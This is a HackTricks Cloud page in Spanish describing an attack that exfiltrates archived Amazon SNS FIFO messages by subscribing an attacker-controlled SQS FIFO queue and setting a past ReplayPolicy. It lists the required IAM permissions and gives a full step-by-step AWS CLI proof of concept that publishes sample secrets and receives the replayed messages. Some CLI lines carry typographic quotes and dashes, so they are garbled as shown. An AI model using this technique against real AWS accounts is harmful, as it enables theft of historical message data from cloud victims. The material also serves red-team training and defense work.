SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Abuso del archivado de mensajes de topics Amazon SNS FIFO para replay y exfiltrate mensajes previamente publicados a una SQS FIFO controlada por el atacante estableciendo la suscripción ReplayPolicy.

  • Service: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
  • Requirements: El topic debe tener ArchivePolicy habilitado (archivado de mensajes). El atacante puede Subscribe al topic y establecer atributos en su subscription. El atacante controla una SQS FIFO queue y permite que el topic envíe mensajes.
  • Impact: Mensajes históricos (publicados antes de la suscripción) pueden ser entregados al endpoint del atacante. Las entregas replayed se marcan con Replayed=true en el sobre de SNS.

Precondiciones

  • SNS FIFO topic con archivado habilitado: ArchivePolicy (por ejemplo, { "MessageRetentionPeriod": "2" } para 2 días).
  • El atacante tiene permisos para:
    • sns:Subscribe en el topic objetivo.
    • sns:SetSubscriptionAttributes en la subscription creada.
  • El atacante tiene una SQS FIFO queue y puede adjuntar una queue policy que permita sns:SendMessage desde el topic ARN.

Permisos IAM mínimos

  • En el topic: sns:Subscribe.
  • En la subscription: sns:SetSubscriptionAttributes.
  • En la queue: sqs:SetQueueAttributes para la policy, y una queue policy que permita sns:SendMessage desde el topic ARN.

Attack: Replay archived messages to attacker SQS FIFO

El atacante subscribe su SQS FIFO queue al victim SNS FIFO topic, luego establece el ReplayPolicy a una marca de tiempo en el pasado (dentro de la ventana de retención del archive). SNS reproduce inmediatamente los mensajes archivados coincidentes a la nueva subscription y los marca con Replayed=true.

Notas:

  • La marca de tiempo usada en ReplayPolicy debe ser >= el BeginningArchiveTime del topic. Si es anterior, la API devuelve Invalid StartingPoint value.
  • Para SNS FIFO Publish, debe especificar un MessageGroupId (y o bien un dedup ID o habilitar ContentBasedDeduplication).
End-to-end CLI POC (us-east-1) ```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )

1) Create SNS FIFO topic with archiving (2-day retention)

TOPIC_NAME=htreplay$(date +%s).fifo TOPIC_ARN=$(aws sns create-topic –region “$REGION”
–cli-input-json ‘{“Name”:“’”$TOPIC_NAME“‘“,“Attributes”:{“FifoTopic”:“true”,“ContentBasedDeduplication”:“true”,“ArchivePolicy”:“{"MessageRetentionPeriod":"2"}”}}’
–query TopicArn –output text)

echo “Topic: $TOPIC_ARN”

2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)

for i in $(seq 1 3); do aws sns publish –region “$REGION” –topic-arn “$TOPIC_ARN”
–message “{"orderId":$i,"secret":"ssn-123-45-678$i"}”
–message-group-id g1 >/dev/null done

3) Create attacker SQS FIFO queue and allow only this topic to send

Q_URL=$(aws sqs create-queue –queue-name ht-replay-exfil-q-$(date +%s).fifo
–attributes FifoQueue=true –region “$REGION” –query QueueUrl –output text) Q_ARN=$(aws sqs get-queue-attributes –queue-url “$Q_URL” –region “$REGION”
–attribute-names QueueArn –query Attributes.QueueArn –output text)

cat > /tmp/ht-replay-sqs-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“AllowSNSSend”,“Effect”:“Allow”,“Principal”:{“Service”:“sns.amazonaws.com”},“Action”:“sqs:SendMessage”,“Resource”:“$Q_ARN”,“Condition”:{“ArnEquals”:{“aws:SourceArn”:“$TOPIC_ARN”}}}]} JSON

Use CLI input JSON to avoid quoting issues

aws sqs set-queue-attributes –region “$REGION” –cli-input-json “$(python3 - << ‘PY’ import json, os print(json.dumps({ ‘QueueUrl’: os.environ[‘Q_URL’], ‘Attributes’: {‘Policy’: open(‘/tmp/ht-replay-sqs-policy.json’).read()} })) PY )”

4) Subscribe the queue to the topic

SUB_ARN=$(aws sns subscribe –region “$REGION” –topic-arn “$TOPIC_ARN”
–protocol sqs –notification-endpoint “$Q_ARN” –query SubscriptionArn –output text)

echo “Subscription: $SUB_ARN”

5) Ensure StartingPoint is >= BeginningArchiveTime

BEGIN=$(aws sns get-topic-attributes –region “$REGION” –topic-arn “$TOPIC_ARN” –query Attributes.BeginningArchiveTime –output text) START=${TS_START} if [ -n “$BEGIN” ]; then START=“$BEGIN”; fi

aws sns set-subscription-attributes –region “$REGION” –subscription-arn “$SUB_ARN”
–attribute-name ReplayPolicy
–attribute-value “{"PointType":"Timestamp","StartingPoint":"$START"}”

6) Receive replayed messages (note Replayed=true in the SNS envelope)

aws sqs receive-message –queue-url “$Q_URL” –region “$REGION”
–max-number-of-messages 10 –wait-time-seconds 10
–message-attribute-names All –attribute-names All

</details>

## Impacto
**Impacto potencial**: Un atacante que pueda suscribirse a un SNS FIFO topic con archiving enabled y establecer `ReplayPolicy` en su suscripción puede inmediatamente replay y exfiltrate mensajes históricos publicados en ese topic, no solo los mensajes enviados después de que se creó la suscripción. Los mensajes entregados incluyen una marca `Replayed=true` en el SNS envelope.

> [!TIP]
> Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
>
> </details>